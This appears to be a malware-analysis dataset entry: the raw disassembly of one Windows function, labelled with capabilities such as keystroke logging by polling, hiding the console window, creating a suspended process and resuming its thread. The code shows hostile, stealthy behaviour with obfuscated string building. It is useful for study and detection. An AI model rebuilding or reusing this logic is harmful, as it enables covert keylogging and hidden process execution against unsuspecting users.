Function at 0x1800333fc
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Create process suspended
Delete file
Hide graphical window
Log keystrokes via polling
Query environment variable
Resume thread
Terminate process

Disassembly:
jmp 0x180050e70
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push r13
push rbp
push rsi
push rdi
mov eax, 0x25d8
call fcn.180033280
sub rsp, rax
lea r13, [rsp + 0x50]
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
lea rdi, [rsp + 0x50]
mov ecx, 0x7e2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2608]
mov rax, qword [0x1800ca3c0]
xor rax, r13
mov qword [rbp + 0x2558], rax
mov dword [rbp + 0x23c4], 0
lea rcx, [0x1800d6111]
call fcn.180033ee7
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 8], rax
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
call fcn.180033dac
mov byte [rbp + 0x24], al
lea rax, [rbp + 0xdf4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xe14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xe34]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xdf4]
movzx r8d, byte [rbp + 0xe14]
movzx edx, byte [rbp + 0xe34]
lea rcx, [rbp + 0xdd0]
call fcn.180037c70
mov rcx, rax
call fcn.180033bd1
mov rdx, rax
lea rcx, [rbp + 0xd88]
call fcn.1800336bd
or dword [rbp + 0x23c4], 1
lea rcx, [rbp + 0xd88]
call fcn.1800332f8
movzx eax, al
test eax, eax
jne 0x180051029
lea rax, [rbp + 0xec4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xee4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xf04]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xec4]
movzx r8d, byte [rbp + 0xee4]
movzx edx, byte [rbp + 0xf04]
lea rcx, [rbp + 0xea0]
call fcn.1800389e0
mov rcx, rax
call fcn.18003373a
mov rdx, rax
lea rcx, [rbp + 0xe58]
call fcn.1800336bd
or dword [rbp + 0x23c4], 2
lea rcx, [rbp + 0xe58]
call fcn.1800332f8
movzx eax, al
test eax, eax
jne 0x180051029
mov dword [rbp + 0x2534], 0
jmp 0x180051033
mov dword [rbp + 0x2534], 1
movzx eax, byte [rbp + 0x2534]
mov byte [rbp + 0xd64], al
mov eax, dword [rbp + 0x23c4]
and eax, 2
test eax, eax
je 0x180051061
and dword [rbp + 0x23c4], 0xfffffffd
lea rcx, [rbp + 0xe58]
call fcn.180033294
nop
mov eax, dword [rbp + 0x23c4]
and eax, 1
test eax, eax
je 0x180051082
and dword [rbp + 0x23c4], 0xfffffffe
lea rcx, [rbp + 0xd88]
call fcn.180033294
nop
movzx eax, byte [rbp + 0xd64]
test eax, eax
je 0x18005109e
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x180050eff
call fcn.18003348d
nop
lea rcx, [rbp + 0x48]
call fcn.180033b9a
nop
lea rcx, [rbp + 0x88]
call fcn.180033b9a
nop
lea rcx, [rbp + 0xc8]
call fcn.1800339d3
nop
mov edx, 0x20
lea rcx, [rbp + 0x108]
call fcn.180033163
lea rcx, [rbp + 0xf24]
call fcn.1800332cb
mov qword [rbp + 0x2538], rax
lea rax, [rbp + 0xfb4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xfd4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xff4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xfb4]
movzx r8d, byte [rbp + 0xfd4]
movzx edx, byte [rbp + 0xff4]
lea rcx, [rbp + 0xf60]
call fcn.180038bd0
mov rcx, rax
call fcn.1800336d1
mov rdx, rax
lea rcx, [rbp + 0x23f0]
call fcn.1800336bd
lea rax, [rbp + 0x1074]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1094]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x10b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1074]
movzx r8d, byte [rbp + 0x1094]
movzx edx, byte [rbp + 0x10b4]
lea rcx, [rbp + 0x1020]
call fcn.180038d70
mov rcx, rax
call fcn.1800336d1
mov rdx, rax
lea rcx, [rbp + 0x2418]
call fcn.1800336bd
lea rax, [rbp + 0x1134]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1154]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1174]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1134]
movzx r8d, byte [rbp + 0x1154]
movzx edx, byte [rbp + 0x1174]
lea rcx, [rbp + 0x10e0]
call fcn.180038f10
mov rcx, rax
call fcn.1800336d1
mov rdx, rax
lea rcx, [rbp + 0x2440]
call fcn.1800336bd
lea rax, [rbp + 0x11f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1214]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1234]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x11f4]
movzx r8d, byte [rbp + 0x1214]
movzx edx, byte [rbp + 0x1234]
lea rcx, [rbp + 0x11a0]
call fcn.180039130
mov rcx, rax
call fcn.1800336d1
mov rdx, rax
lea rcx, [rbp + 0x2468]
call fcn.1800336bd
lea rax, [rbp + 0x12b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x12d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x12f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x12b4]
movzx r8d, byte [rbp + 0x12d4]
movzx edx, byte [rbp + 0x12f4]
lea rcx, [rbp + 0x1260]
call fcn.1800392d0
mov rcx, rax
call fcn.1800336d1
mov rdx, rax
lea rcx, [rbp + 0x2490]
call fcn.1800336bd
lea rax, [rbp + 0x1374]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1394]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x13b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1374]
movzx r8d, byte [rbp + 0x1394]
movzx edx, byte [rbp + 0x13b4]
lea rcx, [rbp + 0x1320]
call fcn.180039470
mov rcx, rax
call fcn.1800336d1
mov rdx, rax
lea rcx, [rbp + 0x24b8]
call fcn.1800336bd
lea rax, [rbp + 0x1434]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1454]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1474]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1434]
movzx r8d, byte [rbp + 0x1454]
movzx edx, byte [rbp + 0x1474]
lea rcx, [rbp + 0x13e0]
call fcn.180039580
mov rcx, rax
call fcn.1800336d1
mov rdx, rax
lea rcx, [rbp + 0x24e0]
call fcn.1800336bd
lea rax, [rbp + 0x14f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1514]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1534]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x14f4]
movzx r8d, byte [rbp + 0x1514]
movzx edx, byte [rbp + 0x1534]
lea rcx, [rbp + 0x14a0]
call fcn.180036dd0
mov rcx, rax
call fcn.1800336d1
mov rdx, rax
lea rcx, [rbp + 0x2508]
call fcn.1800336bd
lea rax, [rbp + 0x2530]
mov r8, rax
lea rdx, [rbp + 0x23f0]
lea rcx, [rbp + 0x1558]
call fcn.180033e65
lea rcx, [rbp + 0x1588]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x23a0]
lea rcx, [rbp + 0x1588]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rbp + 0x2538]
lea rdx, [rbp + 0x23a0]
lea rcx, [rbp + 0x108]
call fcn.180033b13
lea r9, [fcn.180033294]
mov r8d, 8
mov edx, 0x28
lea rcx, [rbp + 0x23f0]
call fcn.1800333b1
nop
lea rax, [rbp + 0x15d8]
mov qword [rbp + 0x1608], rax
mov rdx, qword [rbp + 0x1608]
lea rcx, [rbp + 0x108]
call fcn.180033a32
mov qword [rbp + 0x2538], rax
lea rax, [rbp + 0x1628]
mov qword [rbp + 0x1658], rax
mov rdx, qword [rbp + 0x1658]
lea rcx, [rbp + 0x108]
call fcn.1800333d9
mov qword [rbp + 0x2540], rax
lea r9, [rbp + 0xc8]
mov r8, qword [rbp + 0x2538]
mov rdx, qword [rbp + 0x2540]
lea rcx, [rbp + 0x1678]
call fcn.180033e1a
mov qword [rbp + 0x2548], rax
lea rdx, [rbp + 0x16a8]
lea rcx, [rbp + 0x108]
call fcn.180033a32
mov qword [rbp + 0x2550], rax
mov rdx, qword [rbp + 0x2550]
mov rcx, qword [rbp + 0x2548]
call fcn.180033e47
mov byte [rbp + 0x15b4], al
lea rcx, [rbp + 0x16a8]
call fcn.18003311d
lea rcx, [rbp + 0x1678]
call fcn.18003311d
movzx eax, byte [rbp + 0x15b4]
test eax, eax
je 0x18005208a
lea rax, [rbp + 0x1774]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1794]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x17b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1774]
movzx r8d, byte [rbp + 0x1794]
movzx edx, byte [rbp + 0x17b4]
lea rcx, [rbp + 0x16e0]
call fcn.180036ee0
mov rcx, rax
call fcn.180033bef
mov rdx, rax
lea rcx, [rbp + 0x148]
call fcn.1800334ec
nop
lea rax, [rbp + 0x1834]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1854]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1874]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1834]
movzx r8d, byte [rbp + 0x1854]
movzx edx, byte [rbp + 0x1874]
lea rcx, [rbp + 0x17e0]
call fcn.180037100
mov rcx, rax
call fcn.180033d2f
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.1800334ec
nop
lea rcx, [rbp + 0x188]
call fcn.1800334fb
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x180051719
lea rcx, [rbp + 0x188]
call fcn.1800334fb
mov qword [rbp + 0x2538], rax
lea rcx, [rbp + 0x148]
call fcn.1800334fb
mov qword [rbp + 0x2540], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x2538]
mov rcx, qword [rbp + 0x2540]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, [rbp + 0x1914]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1934]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1954]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1914]
movzx r8d, byte [rbp + 0x1934]
movzx edx, byte [rbp + 0x1954]
lea rcx, [rbp + 0x18a0]
call fcn.180037260
mov rcx, rax
call fcn.180033d4d
mov rdx, rax
lea rcx, [rbp + 0x1c8]
call fcn.1800334ec
nop
lea rax, [rbp + 0x19d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x19f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1a14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x19d4]
movzx r8d, byte [rbp + 0x19f4]
movzx edx, byte [rbp + 0x1a14]
lea rcx, [rbp + 0x1980]
call fcn.180037440
mov rcx, rax
call fcn.180033d2f
mov rdx, rax
lea rcx, [rbp + 0x208]
call fcn.1800334ec
nop
lea rcx, [rbp + 0x208]
call fcn.1800334fb
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x180051863
lea rcx, [rbp + 0x208]
call fcn.1800334fb
mov qword [rbp + 0x2538], rax
lea rcx, [rbp + 0x1c8]
call fcn.1800334fb
mov qword [rbp + 0x2540], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x2538]
mov rcx, qword [rbp + 0x2540]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
xor eax, eax
cmp eax, 1
je 0x180052057
lea rax, [rbp + 0x248]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rbp + 0x1a64]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1a84]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1aa4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1a64]
movzx r8d, byte [rbp + 0x1a84]
movzx edx, byte [rbp + 0x1aa4]
lea rcx, [rbp + 0x1a40]
call fcn.1800375a0
mov rcx, rax
call fcn.18003373a
mov r8d, 0x104
lea rdx, [rbp + 0x280]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [rbp + 0x3a4], eax
lea rax, [rbp + 0x1b14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1b34]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1b54]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1b14]
movzx r8d, byte [rbp + 0x1b34]
movzx edx, byte [rbp + 0x1b54]
lea rcx, [rbp + 0x1ae0]
call fcn.180037630
mov rcx, rax
call fcn.180033a0a
mov qword [rbp + 0x2538], rax
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x1b78]
call fcn.1800336bd
mov qword [rbp + 0x2540], rax
mov r8, qword [rbp + 0x2538]
mov rdx, qword [rbp + 0x2540]
lea rcx, [rbp + 0x3c8]
call fcn.180033db1
lea rcx, [rbp + 0x1b78]
call fcn.180033294
nop
mov ecx, 0x7a
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x180051e5e
lea rax, [rbp + 0x1bf4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1c14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1c34]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1bf4]
movzx r8d, byte [rbp + 0x1c14]
movzx edx, byte [rbp + 0x1c34]
lea rcx, [rbp + 0x1bc0]
call fcn.180037700
mov rcx, rax
call fcn.1800336e5
mov r8d, 0x104
lea rdx, [rbp + 0x410]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rax, [rbp + 0x1c94]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1cb4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1cd4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1c94]
movzx r8d, byte [rbp + 0x1cb4]
movzx edx, byte [rbp + 0x1cd4]
lea rcx, [rbp + 0x1c60]
call fcn.1800377d0
mov rcx, rax
call fcn.18003399c
mov qword [rbp + 0x2538], rax
lea rcx, [rbp + 0x1d34]
call fcn.180033816
mov qword [rbp + 0x2540], rax
lea rcx, [rbp + 0x410]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rbp + rax*2 + 0x410]
mov qword [rbp + 0x2548], rax
mov r9, qword [rbp + 0x2540]
mov r8, qword [rbp + 0x2548]
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x1cf8]
call fcn.180033b45
mov qword [rbp + 0x2550], rax
mov r8, qword [rbp + 0x2538]
mov rdx, qword [rbp + 0x2550]
lea rcx, [rbp + 0x1d58]
call fcn.180033915
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.180033be0
lea rcx, [rbp + 0x1d58]
call fcn.180033ce4
lea rcx, [rbp + 0x1cf8]
call fcn.180033ce4
nop
lea rax, [rbp + 0x1dd4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1df4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1e14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1dd4]
movzx r8d, byte [rbp + 0x1df4]
movzx edx, byte [rbp + 0x1e14]
lea rcx, [rbp + 0x1da0]
call fcn.1800378a0
mov rcx, rax
call fcn.180033582
mov r8, rax
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x1e38]
call fcn.180033d2a
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.180033be0
lea rcx, [rbp + 0x1e38]
call fcn.180033ce4
nop
lea rax, [rbp + 0x2014]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x2034]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x2054]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x2014]
movzx r8d, byte [rbp + 0x2034]
movzx edx, byte [rbp + 0x2054]
lea rcx, [rbp + 0x1e80]
call fcn.180037e20
mov rcx, rax
call fcn.180033b31
mov rdx, rax
lea rcx, [rbp + 0x638]
call fcn.1800334ec
nop
lea rcx, [rbp + 0x48]
call fcn.1800334fb
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x180051c8e
lea rcx, [rbp + 0x88]
call fcn.1800334fb
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x180051c8c
lea rcx, [rbp + 0x88]
call fcn.1800334fb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x180051ca2
lea rcx, [rbp + 0x48]
call fcn.1800334fb
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x638]
call fcn.1800338ca
nop
lea rax, [rbp + 0x680]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x20d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x20f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x2114]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x20d4]
movzx r8d, byte [rbp + 0x20f4]
movzx edx, byte [rbp + 0x2114]
lea rcx, [rbp + 0x2080]
call fcn.180038500
mov rcx, rax
call fcn.1800336d1
lea rcx, [rbp + 0x248]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x680]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180051e51
lea rax, [rbp + 0x2194]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x21b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x21d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x2194]
movzx r8d, byte [rbp + 0x21b4]
movzx edx, byte [rbp + 0x21d4]
lea rcx, [rbp + 0x2140]
call fcn.180038610
mov rcx, rax
call fcn.180033451
mov rdx, rax
lea rcx, [rbp + 0x708]
call fcn.1800334ec
nop
lea rax, [rbp + 0x21f8]
mov qword [rbp + 0x2238], rax
lea rdx, [rbp + 0x708]
mov rcx, qword [rbp + 0x2238]
call fcn.180033041
mov rcx, rax
call fcn.180033a8c
mov dword [rbp + 0x744], eax
lea rdx, [rbp + 0x3c8]
mov ecx, dword [rbp + 0x744]
call fcn.180033d0c
nop
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
lea rcx, [rbp + 0x708]
call fcn.180033ce4
nop
lea rcx, [rbp + 0x638]
call fcn.180033ce4
nop
mov ecx, 0x7b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x180052039
lea rcx, [rbp + 0x3c8]
call fcn.180033316
nop
lea rax, [rbp + 0x2294]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x22b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x22d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x2294]
movzx r8d, byte [rbp + 0x22b4]
movzx edx, byte [rbp + 0x22d4]
lea rcx, [rbp + 0x2260]
call fcn.180038720
mov rcx, rax
call fcn.180033582
mov rcx, rax
call fcn.1800338f7
movzx eax, al
lea rcx, [rbp + 0x148]
call fcn.1800334fb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x148]
call fcn.1800334fb
mov qword [rbp + 0x2538], rax
lea rcx, [rbp + 0x188]
call fcn.1800334fb
mov qword [rbp + 0x2540], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x2538]
mov rcx, qword [rbp + 0x2540]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rbp + 0x1c8]
call fcn.1800334fb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x1c8]
call fcn.1800334fb
mov qword [rbp + 0x2538], rax
lea rcx, [rbp + 0x208]
call fcn.1800334fb
mov qword [rbp + 0x2540], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x2538]
mov rcx, qword [rbp + 0x2540]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rax, [rbp + 0x2334]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x2354]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x2374]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x2334]
movzx r8d, byte [rbp + 0x2354]
movzx edx, byte [rbp + 0x2374]
lea rcx, [rbp + 0x2300]
call fcn.1800387f0
mov rcx, rax
call fcn.180033582
mov rcx, rax
call fcn.18003332f
movzx eax, al
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
call fcn.180033ffa
nop
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
call fcn.180033a69
nop
call fcn.18003334d
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x3c8]
call fcn.180033294
nop
jmp 0x180051863
lea rcx, [rbp + 0x208]
call fcn.180033ce4
lea rcx, [rbp + 0x1c8]
call fcn.180033ce4
lea rcx, [rbp + 0x188]
call fcn.180033ce4
lea rcx, [rbp + 0x148]
call fcn.180033ce4
nop
jmp 0x180052093
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp + 0x108]
call fcn.180033e5b
lea rcx, [rbp + 0xc8]
call fcn.180033294
lea rcx, [rbp + 0x88]
call fcn.180033ce4
lea rcx, [rbp + 0x48]
call fcn.180033ce4
nop
lea rcx, [rbp - 0x50]
lea rdx, [0x1800a1ef0]
call fcn.180033c58
mov rcx, qword [rbp + 0x2558]
xor rcx, r13
call fcn.18003372b
lea rsp, [r13 + 0x2588]
pop rdi
pop rsi
pop rbp
pop r13
ret